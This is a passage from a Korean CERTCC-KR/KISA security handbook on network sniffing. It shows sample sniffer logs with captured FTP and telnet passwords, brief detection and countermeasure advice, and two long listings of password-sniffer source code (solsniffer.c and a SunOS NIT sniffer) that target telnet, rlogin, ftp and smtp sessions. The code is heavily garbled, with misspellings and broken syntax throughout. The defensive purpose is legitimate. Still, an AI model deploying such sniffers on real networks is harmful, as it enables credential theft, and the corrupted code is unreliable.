- TCP/IP LOG - TM: Mon Dec 16 15:07:43 -

PATH: www.certcc.or.kr(35944) => flat(ftp)

STAT: Mon Dec 16 15:07:50, 9 pkts, 31 bytes [TH_FIN]

DATA: USER root

Page 108: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

:

: PASS qlkr123

:

: QUIT

:

:

해킹흔적 확인방법

- 파일목록이나 디스크 사용량등을 점검하여 스니퍼 로그 흔적을 확인한다. 공격자가 이를

방지하기 위해 ls, du 등의 트로이목마 버전을 설치해 두었을 가능성이 많으므로 원래의 버

전을 구해서 사용한다.

대응방법

- 루트킷트(rootkit) 검사도구를 이용한다.

ftp://ftp.fu-berlin.de/unix.security/chkexploit/chkrootkit-0.8.tar.gz

- cpm으로 수시로 promiscuous 모드 설정여부를 검사한다. (ifconfig로 검사할 수도 있지

만 트로이목마가 있을 가능성이 있으므로 주의한다.)

- promiscuous 모드를 지원하지 않는 이더넷카드를 사용한다.

- 네트워크 패킷을 브로드캐스트하지 않는 이더넷카드를 사용한다.

- 패스워드의 보호를 위해 일회용 패스워드(onetime password)를 사용한다.

- 네트워크상에서 암호화통신을 한다.(secure telnet, secure ftp, secure shell등)

Page 109: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

Exploit Source

관련 소스

/* solsniffer.c - v1. 10 - Michael R.Widner (arreus, J.Galt)

*

* This is Sunsniffer.c modified to run on dlpi systems, notably

* Solar is 2.x. The additions are rather verbose, but I'm really

* too damn lazy to bother cleaning it up.

* 4/26/94 - initial code. Had some serious hacks in the bjfmod stuff.

* 4/28/94 - v 1.0 fixed up the bufmod stuff a little, but still wrong.

* 8/11/94 - v 1.1 ok, bufmod fixed. No more packet dropping.

* Also fixed/added some command lind options.

* -sflt to filter smtp, ftp, login and telnet respectively.

* -d x to set data linit; good for catching mail and stuff

* going through firewalls. Like luser on my subnet does

* telnet firewall.myorg.com, then from there does

* telnet someplace.outside.mynet

*/

#include <sys/stream.h>

#include <sys/dlpi.h>

#include <sys/bufmod.h>

#include <stdio.h>

#include <ctype.h>

#include <string.h>

#include <sys/time.h>

#include <sys/file.h>

#include <sys/stropts.h>

#include <sys/signal.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <sys/ioctl.h>

Page 110: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

#include <net/if.h>

#include <net/if_arp.h>

#include <netinet/in.h>

#include <netinet/if_ether.h>

#include <netinet/in_systm.h>

#include <netinet/ip.h>

#include <netinet/udp.h>

#include <netinet/ip_var.h>

#include <netinet/udp_var.h>

#include <netinet/in_systm.h>

#include <netinet/tcp.h>

#include <netinet/ip_icmp.h>

#include <netdb.h>

#include <arpa/inet.h>

/* #define MAXDLBUF 8192 /* this is much too low

-mrw */

#define MAXDLBUF 32768 /* this is much bigger than any

packet */

#define MAXWAIT 15

#define MAXDLADDR 1024

/* workaround for bcopy, etc. */

#define bcopy(s1, s2, len) memcpy(s2, s1, len)

#define index(s, c) strchr(s, c)

#define rindex(s, c) strrchr(s, c)

#define bzero(s, len) memset(s, 0, len)

#define bcmp(s1, s2, len) (memcmp(s1, s2, len)!=0)

/*

* externs go here

*/

extern void sigalrm();

#define ERR stderr

char *malloc();

char *device,

*ProgName,

*LogName;

FILE *LOG;

Page 111: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

int debug==0;

long databuf[MAXDLBUF];

#define NIT_DEV "/dev/le"

#define CHUNKSIZE 4096 /* device buffer size */

int if_fd = -1;

int Packet[CHUNKSIZE+32];

/*More ugly global stuff. */

int promisc = 1; /* promiscuous mode "on" by default */

int bufmod = 0; /* push buffer module, "off" by default

*/

int filter flags==0 /* connections we'd like to fileter */

#define FILT_TELNET 1

#define FILT_FTP 2

#define FILT_FILT_LOGIN 4

#define FILT_SMTP 8

int maxbuflen=128; /* Define a new DATA LIMIT. Still max at

MAXBUFLEN */

void Pexit(err,msg)

int err; char *msg;

{ perror(msg);

exit(err); }

voir Zexit(err,msg)

int err; char *msg;

{ fprintf(ERR,msg);

exit(err);}

#define IP ((struct ip *)Packet)

#define IP_OFFSET (0x1FFF)

#define SZWTH (sizeof(struct ether_header))

#define IPLEN (ntohs(ip->ip_len))

#define IPHLEN (ip->ip_hl)

#define TCPOFF (tcph->th_off)

#define IPS (ip->ip_src)

#define IPD (ip->ip_dst)

#define TCPS (tcph->th_sport)

#define TCPD (th_dport)

Page 112: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

#define IPeq(s, t) ((s).s_addr == (t),s_addr)

#define TCPFL(FLAGS) (tcph->th_flags & (FLAGS))

/* I cranked this up. reduce it if you run out of mem. -mrw */

#define MAXBUFLEN (8192)

time_t LastTIME = 0;

struct CREC {

struct CREC *Next,

*Last;

time_t Time; /* start time */

struct in_addr SRCip,

DSTip;

u_int SRCport, /* src/dst ports */

DSTport;

u_char Data{MAXBUFLEN+2]; /* important stuff :-) */

u_int Lentgh; /* current data length */

u_int PKcnt; /* # pkts */

u_long LASTseq;

};

struct CREC *CLroot = NULL;

char *Symaddr(ip)

struct in_addr ip;

{ struct hostent *he =

gethostbyaddr((char *)&ip.s_addr, sizeof(struct in_addr),AF_INET);

return( (he)?(he->h_name):(inet_ntoa(ip)) );

}

char *TCPflags(flgs)

register u_char flgs;

{ static char iobuf[8];

#define SFL(P, THF, C) iobuf[P]=((flgs & THF)?C:'-')

Page 113: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

SFL(0, TH_FIN, 'F');

SFL(1, TH_SYN, 'S');

SFL(2, TH_RST, 'R')'

SFL(3, TH_PUSH, 'P');

SFL(4, TH_ACK, 'A');

SFL(5, TH_URG, 'U');

iobuf[6]=0;

return(iobuf);

}

char *SERVp(port)

register u_int port;

{ static char buf[10];

register char *p;

switch(port) {

case IPPORT_LOGINSERVER: p="rlogin"; break;

case IPPORT_TELNET: p="telnet"; break;

case IPPORT_SMTP: p="smtp"; break;

case IPPORT_FTP: p="ftp"; break;

default: sprintf(buf, "%u",port); p=buf;break;

}

retrun(p);

}

char *Ptm(t)

register time_t *t;

{ register char *p = ctime(t);

p[strlen(p)-6]=0; /* strip "YYYY₩N" */

retrun(p);

}

char *NOWtm()

{ time_t tm;

time(&tm);

return( Ptm(&tm) );

}

#define MAX(a,b) (((a)>(b))?(a):(b))

#define MIN(a,b) (((a)>(b))?(a):(b))

Page 114: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

/* add an item */

#define ADD_NODE(SIP,DIP,SPORT,DPORT,DATA,LEN) {₩

register struct CREC *CLtmp = ₩

(struct CREC *)malloc(sizeof(struct CREC));₩

time( &(CLtmp->Time) );₩

CLtmp->SRCip.s_addr = SIP.s_addr; ₩

CLtmp->DSTip.s_addr = DIP.s_addr; ₩

CLtmp->SRCport = SPORT; ₩

CLtmp->DSTport = DPORT; ₩

CLtmp->Length = MIN(LEN,MAXBUFLEN) ; ₩

bcopy( (u_char *)DATA, (u_char *)CLtmp->Data, CLtmp->Length; ₩

CLtmp->PKcnt = 1; ₩

CLtmp->Next = CLroot; ₩

CLtmp->Last = NULL; ₩

CLroot = CLtmp; ₩

}

struct CREC *GET_NODE(Sip,SP,Dip,DP)

struct in_addr Sip,Dip;

register u_int SP,DP;

{ struct CREC *CLr = CLroot;

while(CLr != NULL){

if( (CLr->SPCport == SP) && (CLr->DSTport == DP) &&

IPeq(CLr-.SRCip,Sip) && IPeq(CLr->DSTip,Dip) )

break;

CLr = CLr->Next;

}

return(CLr);

}

#define ADDDATA_NODE(CL,DATA,LEN) { ₩

bcopy(u_char *)DATA, (u_char *)&CL->Data[CL->Lenth],LEN); ₩

CL->Length += LEN; ₩

}

#define PR_DATA(dp,ln) { ₩

register u_char lastc=0; ₩

while(ln-- >0) { ₩

if(*dp <32){ ₩

switch(*dp) { ₩

Page 115: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

case '₩0': if((lastc=='₩r') || (lastc=='₩n') || lastc=='₩0')

break;₩

case '₩r': ₩

case '₩n': fprintf(LOG, "₩n : "); ₩

break; ₩

default : fprintf(LOG,"^%c", (*dp + 64); ₩

break; ₩

} ₩

} else { ₩

if(isprint(*dp)) fputc(*dp,LOG); ₩

else fprintf(LOG,"(%d)",*dp); ₩

} ₩

lastc = *dp++; ₩

} ₩

fflush(LOG); ₩

}

void END_NODE(CLe,d,dl,msg)

register struct CREC *CLe;

register u_char *d;

register int dl;

register char *msg;

{

fprintf(LOG,"₩N-- TCP/IP LOG -- TM: %s --₩n", Ptm(&CLe->Time));

fprintf(LOG," PATH: %s(%s) =>",

Symaddr(CLe->SRCip),SERVp(CLe->SRCport));

fprintf(LOG,"%s(%s)₩n", Symaddr(CLe>DSTip),SERVp(CLe->DSTport));

fprintf(LOG," STAT: %s, %d pkts, %d bytes [%s]₩n"

NOWtm(),CLe->PKcnt,(CLe->Length+dl),msg);

fprintf(LOG," DATA: ");

{ register u_int I = CLe->Length;

register u_char *p = CLe->Data;

PR_DATA(p, I);

PR_DATA(d,dl);

}

fprintf(LOG,"₩n--₩n");

fflush(LOG);

Page 116: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

if(CLe->Next !=NULL)

CLe->Next->Last = CLe->Last;

if(CLe->Last !=Null)

CLe->Last->Next = CLe->Next;

else

CLroot = CLe->Next;

free(CLe);

}

/* 30 mins (x 60 seconds) */

#define IDLE_TIMEOUT 1800

#define IDLE_NODE() { ₩

time_t tm; ₩

time(&tm); ₩

if(LastTIME<TM) { ₩

register struct CREC *CLe,*CLt = CLt = CLroot;₩

LastTIME=(tm+IDLE_TIMEOUT); tm=IDLE_TIMEOUT; ₩

while(CLe=CLt) { ₩

CLt=CLe->Next; ₩

if(CLe->Time <tm) ₩

END_NODE(CLe,(u_char *)NULL,0,"IDLE TIMEOUT"); ₩

} ₩

} ₩

}

void filter(cp, pkt len)

register char *cp;

register u_ink pktlen;

{

register struct ip *ip;

register struct tcphdr *tcph;

{ register u_short EtherType=ntohs(((struct ether_header

*)cp)->ether_type);

if(EtherType < 0x600) {

EtherType = *(u_short *)(cp + SZTH + 6);

cp+=8; pktlen-=8;

}

Page 117: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

if(EtherType !=ETHERTYPE_IP) /* chuk it if its not ip */

return;

}

/* ugh, gotta do an alignment :-( */

bcopy(cp + SZETH, (char *)Packet,(int)(pktlen - SZETH));

ip = (struct ip *)Packet;

if( ip->ip_p != IPPRTO_TCP) /* chuk non tcp pkts */

return;

tcph = (struct tcphdr *)(Packet + IPHLEN);

if(!( ((TCPD == IPPORT_TELNET) && !(filter_flags & FILT_TELNET)) ||

((TCPD == IPPORT_LOGINSERVER) && !(filter_flags & FILT_LOGIN)) ||

((TCPD == IPPORT_FTP) && !(filter_flags & FILT_FTP)) ||

((TCPD == IPPORT_SMTP) && !(filter_flags & FILT_SMTP))

)) return;

{ register struct CREC *CLm;

register int length = ((IPLEN - (IPHLEN * 4)) - (TCPOFF * 4));

register u_char *p = (u_char *)Packet;

p += ((IPHLEN * 4) + (TCPOFF * 4));

if(debug) {

fprintf(LOG, "PKT: (%s %04X) ", TCPflags(tcph->th_flags),length);

fprintf(LOG, "%s[%s} => ", inet_ntoa(IPS),SERVp(TCPS));

fprintf(LOG, "%S[%S] => ", INET_NTOA(ipd),SERVp(TCPD));

}

if( CLm = GET_NODE(IPS, TCPS, IPD, TCPD) ) {

CLm->PKcnt++;

if(length>0)

if( (CLm->Length + length) < maxbuflen ) { /* was MAXBUFLEN */

ADDDATA_NODE( CLm, p, length);

} else {

END_NODE( CLm, p, length, "DATA LIMIT:);

}

Page 118: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

if(TCPFL(TH_FIN|TH_RST)) {

END_NODE( CLm, (u_char

*)NULL,0,TCPFL(TH_FIN)?"TH_FIN":TH_RST" );

}

}else {

if(TCPFL(TH_SYN)) {

ADD_NODE(IPS,IPD,TCPS,TCPD,p,length);

}

}

IDLE_NODE();

}

}

/*signal handler

*/

void death()

{register struct CREC *CLe;

while(CLe=CLroot)

END_NODE( CLe, (u_char *)NULL,0, "SIGNAL");

fprintf(LOG,"₩nLog ended at => %s₩n",NOWtm());

fflush(LOG);

if(LOG != stdout)

fclose(LOG);

exit(1);

}

/* opens network interface, performs ioctls and reads from it.

* passing data to filter function

*/

Page 119: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

err(fmt, a1, a2, a3, a4)

char *fmt;

char *a1, *a2, *a3, *a4;

{

(void) fprintf(stderr, fmt, a1, a2, a3, a4);

(void) fprintf(stderr, "₩n");

(void) exit(1);

}

static void

sigalrm()

{

(void) err("sigalrm: TIMEOUT");

}

strgetmsg(fd, ctlp, datap, flagsp, caller)

int fd;

struct strbuf *ctlp, *datap;,

int *flagsp;

char *caller;

{

int rc;

static char errmsg[80];

/*

* Start timer.

*/

(void) signal(SIGALRM, sigalrm);

if (alarm(MAXWAIT) < 0) {

(void) sprintf(errmsg, "%s: alarm", caller);

syserr(errmsg);

}

/*

* Set flags argument and issue getmsg().

*/

*flagsp = 0;

if ((rc = getmsg(fd, ctlp, datap, flagsp)) < )) {

(void) sprintf(errmsg, "%s: getmsg", caller);

Page 120: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

syserr(errmsg);

}

/*

* Stop timer.

*/

if (alarm(0) < 0) {

(void) sprintf(errmsg, "%s: alarm", caller);

syserr(errmsg);

}

/*

* Check for MOREDATA and/or MORECTL.

*/

if ((rc & (MORECTL | MOREDATA)) == (MORECTL | MOREDATA))

err("%s: MORECTL|MOREDATA", caller);

if (rc & MORECTL)

err("%s: MORECTL", caller);

if (rc & MOREDATA)

err("%s: MOREDATA", caller);

/*

* Check for at least sizeof (long) control data portion.

*/

if (ctlp->len < sizeof (long))

err("getmsg: control portion length < sizeof (long):

%d", ctlp->len);

}

expecting(prim, dlp)

int prim;

union DL_primitives *dlp;

{

if (dlp-/dl_primitive !=(u_long)prim) {

err("unexpected dlprim error₩n");

exit(1);

}

}

Page 121: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

strioctl(fd, cmd, timout, len, dp)

int fd;

int cmd;

int timout;

: P

: #(255)(240)(255)(250)#

: 9600,9600(255)(240)(255)(250)

: flat:0.0(255)(240)(255)(250)

: DISPLAY∧Aflan:1.1(255)(240)(255)(250)∧X

: Sun-CMD(255)(240)(255)(252)∧A(255)(253)∧Aroot

: kadosu

: exit

:

-

-TCP/IP LOG - TM: MorDec 16 14:49:06 -

PATH: 203.227.32.100(39177)=>203.233.150.10(ftp)

STAT: Mon Dec 16 14:50:03. 9pkts. 33bytes[TH_FIN]

DATA: USER kadosu

:

: PASS quyy112

:

: QUIT

:

: QUIT

:

:

-

- TCP/IP LOG - TM: Mor Dec 16 14:49:50 -

PATH : 203.227.32.100(39178) => kisatp)

STAT: Mon Dec 16 14:50:03 9pkts. 33kytes [TH_FIN]

DATA: USER root

:

: PASS daud4254

:

: QUIT

:

:

Page 122: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

해킹흔적 확인방법

- 파일목록이나 디스크 사용량등을 점검하여 스니퍼 로그 흔적을 확인한다. 공격자가 이를

방지하기 위해 ls du 등의 트로이목마 버전을 설치해 두었을 가능성이 많으므로 원래의 버

전을 구해서 사용한다.

대응방법

- 루트킷트(rootkit 검사도구를 이용한다.)

ftp://ftp.fu-berlnde/unix/seoirity/chkexploit/chkrootkit-0.8.tar.gz

- cpm으로 수시로 pomiscuous 모드 설정여부를 검사한다. (ifconfig로 검사할 수도 있지만

트로이목마가 있을 가능성이 있으므로주의한다.)

- pomiscuous 모드를 지원하지 않는 이더넷카드를 사용한다.

- 네트워크 패킷을 브로드캐스트하지않는 ATM망 등을 이용한다.

- 패스워트의 보호를 위해 일회용 패스워드(onetime password)를 사용한다.

- 네트워크상에서 암호화통신을 한다.(secure telnet, secure ftp, secure shell등)

Page 123: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

Exploit Source

관련 소스

#include <stdio.h>

#include <ctype.h>

#include <string.h>

#include <sys/time.h>

#include <sys/file.h>

#include <sys/stgnal.h>

#include <sys/signal.h>

#include <sys/types.h>

#include <sys/soket.h>

#include <sys/ioctl.h>

#include <net/if.h>

#include <net/nit_if.h>

#include <net/nit_buf.h>

#include <net/if_arp.h>

#include <netinet/in.h>

#include <netinet/if_ether.h>

#include <netinet/in_systm.h>

#include <netinet/ip.h>

#include <netinet/udp.h>

#include <netinet/ip_var.h>

#include <netinet/udp_var.h>

#include <netinet/in_systm.h>

#include <netinet/tcp.h>

#include <netinet/ip_icmp.h>

#include <nedb.h>

#include <arpa/inet.h>

#define ERR suderr

Page 124: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

char *malloc();

char *device,

*ProgName,

*LogName;

FILE *LOG;

int debug=0;

#define INT_DEV "/dev/nit"

#define CHUNKSIZE 4096 /* device buffer sixe */

int if_fd = -1;

int Packet[CHUNKSIZE+32];

void Pexit(err,mag)

int err; char *msg;

{perror(msg);

exit(err);}

void Zexit(err,msg)

int err; char *msg;

{fprintf(ERR,msg);

exit(err);}

#define IP ((struct ip *)Packet)

#define IP_OFFSET (0x1FFF)

#define SZETH (sizeof(struct ether_header))

#define IPLEN (ntohs(ip->ip_len)

#define IPHLEN (ip->ip_hl)

#define TCPOFF (tcph->th_off)

#define IPS (ip->ip_src)

#define IPD (ip->ip_dst)

#define TCPS (tcph->th_sport)

#define TCPD (thph->th_dport)

#define IPeq(s,t) ((s).s_addr = (t).s>addr)

#define TCPFL(FLAGS) (tcph->th_flags &(FLAGS))

#define MAXBUFLEN (128)

time_t LastTIME = 0;

Page 125: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

struct CREC {

struct CREC *Next,

*Last;

time_t Time; /* start time */

struct in_addr SRCip,

DSTip;

u_int SRCport, /* src/dst ports */

DSTport;

u_char Data[MAXBUFILEN+2]; /* important stuff :-) */

u_int Length; /* current data length */

u_int PKcnt /* # pkts */

u_long LASTseq;

};

struct CREC *CLroot = NULL;

char *Symaddr(ip)

register struct in_addr ip;

{ register struct hostent *he =

gethostbyaddr((char *)&ip.s_addr, sizeof(struct in_addr),AF_INET);

return((he)?(he->h_name):(inet_ntoa(ip)));

}

char *TCPflags(flgs)

register u_char flgs;

{static char iobuf[8];

#define SFL(P,THF,C) iobuf[P]=((flgs&THF)?C:'-')

SFL(0,TH_FIN, 'F');

SFL(1,TH_SYN, 'S');

SFL(2,TH_RST, 'R');

SFL(3,TH_PUSH, 'P');

SFL(4,TH_ACK, 'A');

SFL(5,TH_URG, 'U');

iobuf[6]=0;

return(iobuf);

}

char *SERVp(port)

register u_int port;

{ static char buf[10];

Page 126: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

register char *p;

switch(port){

case IPPORT_LOGINSERVER: P="rlogin"; break;

case IPPORT_TELNET: p="telnet"; break;

case IPPORT_SMTP: p="smtp"; break;

case IPPORT_FTP: p="ftp"; break;

default: spriontf(buf, "%u",port); p=buf; break;

}

return(p);

}

char *Ptm(t)

refister time_t *t;

{register char *p = ctime(t);

p[strlen(p)-6]=0; /* strip ' YYYY₩n" */

return( Ptm(&tm) );

}

#define MAX(a,b) (((a)>(b))?(a):(b))

#define MIN(a,b) (((a)<(b))?(a):(b))

/* add an item */

#define ADD_NODE(SIP,DIP,SPORT,DPORT,DATA,LEN){₩

register stuct CREC *CLtmp = ₩

(struct CREC *)malloc(sizeof(struct CREC)): ₩

time( &(CLtmp->Time) ); ₩

CLtmp->SRCip.s_addr = SIP.s_addr;₩

CLtmp->DSTip.s_addr = DIP.s_addr;₩

CLtmp->SRCport = SPORT;₩

CLtmp->DSTport = DPORT;₩

CLtmp->Length = MIN(LEN,MAXBUFLEN);₩

bcopy( (u_char *)DATA, (u_char *)CLtmp->Data, CLtmp->Length);₩

CLtmp->PKcnt = 1;₩

CLtmp->Next = CLroot;₩

CLtmp->Last = NULL;₩

CLroot = CLtmp; ₩

}

Page 127: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

register struct CREC *GET_NODE(Sip,SP,Dip,DP)

register struct in_addr Sip,Dip;

register u_int SP,DP;

{ register struct CREC *CLr = CLroot;

while(CLr->SRCport == SP) && (CL->DSTport == DP)) &&

IPeq(CLr->SRCip,Sip) && IPeq(CLr->DSTip,Dip) )

break;

CLr = CLr->Next;

}

return(CLr);

}

#define ADDDATA_NODE(CL,DATA,LEN){₩

bcopy((u_char *)DATA, (u_char *)&CL->Data[CL->Length],LEN); ₩

CL->Length += LEN;₩

}

#define PR_DATA(dp.ln){₩

ragister u_char lastc=0;₩

while(ln-->0){₩

if(*dp < 32){₩

switch(*dp) {₩

case '₩O' : if((lastc=='₩r') || (lastc=='₩n') || lastc++'₩O')

break; ₩

case '₩r' : ₩

case '₩n' : fprintf(LOG, "₩n :");₩

break;

default : fprintf(LOG,,"∧%c", (*dp + 64)); ₩

}₩

}else{₩

if(isprint(*dp)) fputc(*dp,LOG);₩

else fprintf(LOG,"(%d)",*dp);₩

}₩

lastc = *dp++;₩

}

void END_NODE(DLe,d,dl,msg)

register struct CRDC *CLe;

Page 128: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

register u_char *d;

register int dl;

register char *mag;

{

fprintf(LOG, "₩n-- TCP/IP LOG--TM: %s--₩n", Ptm(&CLe->Time));

fprintf(LOG, " PATH: %S(%S)=>",

Stmaddr (CLe->SRCip),SERVp(CLe->SRCport));

fprintf(LOG, " %s(%s)₩n", Symaddr(CLe->DSTip),SERVp(CLe->DSTport));

fprintf(LOG, "STAT: %s, %d pkts, %d bytes [%s]₩n",

NOWtm(),CLe->Length+dl),msg);

fprintf(LOG, " DATA: ");

{ register u_int I = CLe->Length;

register u_char *p = CLe->Data;

PR_DATA(p,i);

PR_DATA(d,dl);

}

fprintf(LOG, "₩n--₩n");

fflush(LOG);

if(CLe->Next ! =NULL)

CLe->Last->Next = CLe->Next;

else

CLroot = CLe->Next;

free(CLe);

}

/* 30 mins (x 60 seconds) */

#define IDLE_TIMEOUT 1800

#define IDLE_NODE(){₩

time_t tm;₩

time(&tm);₩

if(LastTIME<tm){₩

register struct CREC *CLe, *CLt = CLroot;₩

LastTIME=(tm+IDLE_TIMEOUT); tm-=IDLE TIMEOUT;₩

while(CLe=CLt) {₩

CLt=CLe->Next; ₩

if(CLe->Time <tm) w

END_NODE(CLe,(u_char *)NULL,0,"IDLE TIMEOUT");₩

}₩

}₩

}

Page 129: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

void filter(cp, pktlen)

register char *cp;

register u_int pktlen;

{

register struct ip *ip;

register struct tcphdr *tcph;

{ register u_short EtherType=ntohs(((struct ether_header

*)cp)->ether_type);

if(EtherType < 0x600){

EtherType = *(u_short *)(cp + SZETH + 6);

cp+=8; pktlen-=8;

}

/*ugh, gotta do an alignment :-( */

bcopy(cp + SZETH, (char *)Packet,(int)(pktlen - SZETH));

ip = (struct ip *)Packet;

if(ip->ip_p !=IPPROTO_TCP) /* chuk non tcp pkts */

return;

tcph = (struct tcphdr *)(Packet + IPHLEN);

if(!((TCPD == IPPORT_TELNET) ||

(TCPD == IPPORT_LOGINSERVER) ||

(TCPD == IPPORT_FTP)

)) return;

{register struct CREC *CLm;

register int length = ((IPLEN - (IPHLEN * 4)) - (TCPOFF * 4));

register u_char *p = (u_char *)Packet;

p +=((IPHLEN * 4) + (TCPOFF * 4));

if(debug) {

fprintf(LOC,"PKT: (%s %04X) ", TCPflags(tcph->th_flags),length);

fprintf(LOC,"%s[%s] => ", inet_ntoa(IPS),SERVp(TCPS));

fprintf(LOC,"%s[%s]₩n", inet_ntoa(IPD),SERVp(TCPD));

}

if( CLm = GET_NODE(IPS, TCPS, IPD, TCPD) ) {

CLm->PKcnt++;

Page 130: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

if(length>0)

if((CLm->Length + length)<MAXBUFLEN ) {

ADDDATA_NODE( CLm, p, length);

} else {

END_NODE( CLM, p, length, "DATA LIMIT");

}

if(TCPFL(TH_FIN|TH_RST)) {

END_NODE( CLm, (u_char

*)NULL,0,TCPFL(TH_FIN)?"TH_FIN":"TH_RST" );

}

} else {

if(TCPFL(TH_SYN)) {

ADD_NODE(IPS,IPD,TCPS,TCPD,p,length);

}

}

IDLE_NODE();

}

}

/* signal handler

*/

void death()

{ register struct CREC *CLe;

while(CLe=CL_root)

END_NODE( CLe, (u_char 8)NULL, 0, "SIGNAL");

fprintf(LOG, "₩nLog ended at => %s₩n",NOWtm());

fflush(LOG);

if(LOG != stdout)

fclose(LOG);

exit(1);

}

Page 131: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

/* opens network interface, performs ioctls and reads from it,

* passing data to filter function

*/

void do_it()

{

int cc;

char *buf;

u_short sp_ts_len;

if(!(buf=malloc(CHUNKSIZE)))

Pexit(1, "Eth: malloc");

/* this /dev/nit initialization code pinched from etherfind */

{

struct strioctl si;

struct ifreq ifr;

struct timeval timeout;

u_int chunksize = CHUNKSIZE;

u_long if_flags = NI_PROMISC;

if((if_fd = open(NIT_DEV, 0_RDONLY)) < 0)

Pexit(1, "Eth: nit open");

if(ioctl(if_fd, l_SRDOPT, (char *)RMSGD) < 0)

Pexit(1,"Eth: ioctl (l_SRDOPT)");

si.ic_timout = INFTIM;

if(ioctl(if_fd, l_PUSH, "nbuf") ,0)

Pexit(1, "Eth: ioctl (l_PUSH ₩"nbuf₩")");

timeout.tv_sec = 1;

timeout.tv_usec = 0;

si.ic_cmd = NIOCSTIME;

si.ic_len = sizeof(timeout);

si.ic_dp = (char *)&timeout;

if(ioctl(if_fd, l_STR, (char *)&si) <0)

Pexit(1,"Eth: ioctl (l_STR: NIOCSTIME)");

